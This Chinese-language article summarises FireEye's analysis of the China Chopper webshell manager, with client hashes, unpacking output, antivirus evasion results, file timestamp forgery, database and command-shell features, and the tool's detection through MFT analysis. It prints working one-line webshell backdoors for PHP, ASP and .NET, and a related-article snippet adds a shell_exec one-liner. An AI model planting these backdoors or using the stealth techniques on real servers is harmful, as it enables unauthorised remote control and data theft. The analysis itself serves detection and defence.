【Web Shell】- 技术剖析中国菜刀 – Part I
这里的中国菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处。中国菜刀用途十分广泛,支持多种语言,小巧实用,据说是一位中国军人退伍之后的作品。日前,国外安全公司Fireeye对这款工具进行了详细的剖析,可以说是一部非常nice的菜刀使用教程。
分析
中国菜刀的客户端可在www.maicaidao.com下载到。
- Web shell (CnC) Client MD5
- caidao.exe 5001ef50c7e869253a7c152a638eab8a
客户端使用UPX加壳,有220672个字节大小。使用WinHex工具查看,如图1所示:
使用脱壳工具脱壳,可以看到一些隐藏的细节:
- C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exeUltimate Packer for eXecutablesCopyright (C) -
- UPX .08w Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th
- File size Ratio Format Name
- -------------------- ------ ----------- -----------
- <- 31.51% win32/pe decomp.exe
- Unpacked file.
使用PEID(一个免费检测软件使用的加壳手法的工具),我们可以看到解压缩后的客户端程序使用Visual C + + 6.0编写,如图2所示:
因为字符串没有进行编码,所以可以通过打印输出该后门如何通信,我们可以看到一个url google.com.hk,以及参考文本Chopper:
简介
中国菜刀的工具是一款Webshell管理工具,相应必然有一个服务端的程序,它支持各种语言,如ASP、ASPX、PHP、JSP、CFM,一些官网下载原始程序MD5 HASH如下:
- Web shell Payload MD5 Hash
- Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08
- Customize.cfm ad8288227240477a95fb023551773c84
- Customize.jsp acba8115d027529763ea5c7ed6621499
例子如下:
- PHP: <?php @eval($_POST['pass']);?>
- ASP: <%eval request("pass")%>
- .NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
在实际使用过程中,替换PASS为链接的时候需要的密码。
打开中国菜刀界面,我们可以看到该工具是一款图形界面工具,并且提供了添加自己的目标、管理的功能,在客户端软件上,右键单击选择“添加”,输入IP地址,以及密码和编码方式,如图所示:
特点
中国菜刀的能够在黑客圈广泛使用,还有以下几个因素:
- 1、大小
- 2、服务端内容
- 3、客户端内容
- 4、是否免杀
大小
中国菜刀的服务端脚本非常小,是典型的一句话木马,其中aspx服务端软件只有73字节,见图14,相比其他传统的webshell可见它的优越性。
服务端内容
中国菜刀的服务端代码除了简洁之外,并且支持多种加密、编码,下图是aspx的服务端代码:
客户端内容
在浏览器不会产生任何客户端代码,如图:
免杀
通过病毒扫描网站运行Web shell No Virus Thanks显示检测率为14,这表示大多数(不是全部)防病毒工具都会对它的Web Shell免杀。
ViusTotal也是如此。它的47个反病毒引擎中没有一个将它标记为恶意攻击:
功能
上面简单介绍了中国菜刀的客户端和服务端的,下面来介绍下该款工具的其他功能,中国菜刀包含了“安全扫描”功能,攻击者能够使用爬虫或暴力破解来攻击目标站点,如下图:
在除了发现漏洞之外,中国菜刀最强大的莫过于管理功能了,包含以下内容:
- 、文件管理(文件资源管理器)
- 、数据库管理(DB客户端)
- 、虚拟终端(命令行)
在中国菜刀的客户端界面中,右键单击一个目标可以查看相应的功能列表,如图:
文件管理
中国菜刀作为一个远程访问工具(RAT),包含了常见的上传、下载、编辑、删除、复制、重命名以及改变文件的时间戳。如图:
修改文件功能现在常见的webshell就带了该功能,下图显示了测试目录的三个文件,因为Windows资源管理器只显示“修改日期”字段,所以通常情况下,能够达到隐藏操作的目的:
使用工具将文件修改和其他两个文件相同,如图,可以看到文件的修改的日期和其他两个文件一致,如果不是专业的人士,一般不会看出这几个文件的区别:
当文件的创建日期和修改日期被修改之后,查出异常文件非常麻烦,需要分析主文件表MFT以及FTK,fireeye建议使用工具mftdump来进行分析,该工具能够提取文件元数据进行分析。
下表显示了从MFT中提取的Webshell时间戳,注意"fn*"字段包含了文件的原始时间。
- Category Pre-touch match Post-touch match
- siCreateTime (UTC) // : // :
- siAccessTime (UTC) // : // :
- siModTime (UTC) // : // :
- siMFTModTime (UTC) // : // :
- fnCreateTime (UTC) // : // :
- fnAccessTime (UTC) // : // :
- fnModTime (UTC) // : // :
- fnMFTModTime (UTC) // : // :
数据库管理
中国菜刀支持各种数据库,如MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS等,数据库操作界面,内置了一些常用的数据库语句,能够自动显示表名、列名,查询语句,并且内置了常用的数据库语句。如下图:
链接之后,菜刀提供了一些常见的数据库语句,如图:
命令行功能
最后,菜刀提供了一个命令行界面,能够通过命令行shell进行操作系统级别的互动,当然继承的权限是WEB应用的权限。如图:
参考:https://www.freebuf.com/articles/web/11687.html
【Web Shell】- 技术剖析中国菜刀 – Part I的更多相关文章
- 【Web Shell】- 技术剖析中国菜刀 - Part II
在第一部分,简单描述了中国菜刀的基本功能.本文我将剖析中国菜刀的平台多功能性.传输机制.交互模式和检测.我希望通过我的讲解,您能够根据您的环境检测出并清除它. 平台 那么中国菜刀可以在哪些平台上运行? ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
- CTF-练习平台-Misc之 中国菜刀,不再web里?
八.中国菜刀,不再web里? 下载文件后解压,是一个数据包,用wireshark打开,题中说的是菜刀,那就找http协议,首先过滤出http协议包 在第四个里面找到一句话木马 Flag应该在木马之后拿 ...
- Web开发技术发展历史
Web开发技术发展历史 来自:天码营 原文:http://www.tianmaying.com/tutorial/web-history Web的诞生 提到Web,不得不提一个词就是"互 ...
- 【转载】Web开发技术发展历史-版本1
原文在这里. Web开发技术发展历史 Web的诞生 提到Web,不得不提一个词就是“互联网”.Web是World Wide Web的简称,中文译为万维网.“万维网”和我们经常说的“互联网”是两个联系极 ...
- 最新中国菜刀caidao-20160620下载和说明
0x00 中国制造, 黑客之刀 中国菜刀是中国安全圈内使用非常广泛的一款Webshell管理工具,此次老兵大牛进行了更新,界面更加优美,功能更加丰富,有图有真相! 0x01 验证 此次更新还自带了官网 ...
- Web挖掘技术
一.数据挖掘 数据挖掘是运用计算机及信息技术,从大量的.不全然的数据集中获取隐含在当中的实用知识的高级过程.Web 数据挖掘是从数据挖掘发展而来,是数据挖掘技术在Web 技术中的应用.Web 数据 ...
- WCF技术剖析之二十九:换种不同的方式调用WCF服务[提供源代码下载]
原文:WCF技术剖析之二十九:换种不同的方式调用WCF服务[提供源代码下载] 我们有两种典型的WCF调用方式:通过SvcUtil.exe(或者添加Web引用)导入发布的服务元数据生成服务代理相关的代码 ...
- WCF技术剖析之二十八:自己动手获取元数据[附源代码下载]
原文:WCF技术剖析之二十八:自己动手获取元数据[附源代码下载] 元数据的发布方式决定了元数据的获取行为,WCF服务元数据架构体系通过ServiceMetadataBehavior实现了基于WS-ME ...
随机推荐
- Wannafly挑战赛5 D. 子序列
D. 子序列 链接 #include<cstdio> #include<algorithm> #include<cstring> #include<iostr ...
- hive streaming 使用的时候的一些心得
hive streaming 报错的解决方案: 1.把使用到hive streaming 的sql 分解,例如:select transform a,b,c,d using 'python cc.py ...
- Python_sklearn机器学习库学习笔记(六) dimensionality-reduction-with-pca
# 用PCA降维 #计算协方差矩阵 import numpy as np X=[[2,0,-1.4], [2.2,0.2,-1.5], [2.4,0.1,-1], [1.9,0,-1.2]] np.c ...
- Nessus 用好的网络(比如热点)就可以正常在线更新扫描插件了
折腾那么多不如直接开热点 nethogs 实时查看网络流量 ( linux下 )
- 用docsify快速构建文档,并用GitHub Pages展示
什么是docsify 无需构建,写完 markdown 直接发布成文档,写说明文档的极佳选择. 快速上手 安装 npm i docsify-cli -g docsify init docs 创建项目 ...
- Spring是什么?优点是什么?
大部分项目都少不了Spring的身影,为什么大家对他如此青睐,而且对他的追捧丝毫没有减退之势呢 Spring是什么: Spring是一个轻量级的DI和AOP容器框架. 说它轻量级有一大部分原因是相对与 ...
- XAF-如何实现自定义权限系统用户对象
本示例使用XPO. 新建一个XAF项目.填加两个类进来: [DefaultClassOptions] public class Employee : Person { public Employe ...
- 41F继电器座的解剖与妙用
摘要:如果继电器不是焊在电路板上使用,就需要有个插座,这样方便接线,否则继电器的管脚是没法固定导线的.实际项目中使用了HF41F的继电器(宏发),在选择继电器座的时候,有一点感想,分享给大家.继电器是 ...
- CentOS7上部署ASP.Net Core 2.2应用
前言 在CentOS7上部署ASP.Net Core应用是我的技术路线验证的一部分,下一个产品计划采用ASP.Net Boilerplate Framework开发.因此需要求提前进行一下技术验证,在 ...
- POJ--3279(开关问题2个不同时间写的代码)
Fliptile Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 19730 Accepted: 7118 Descrip ...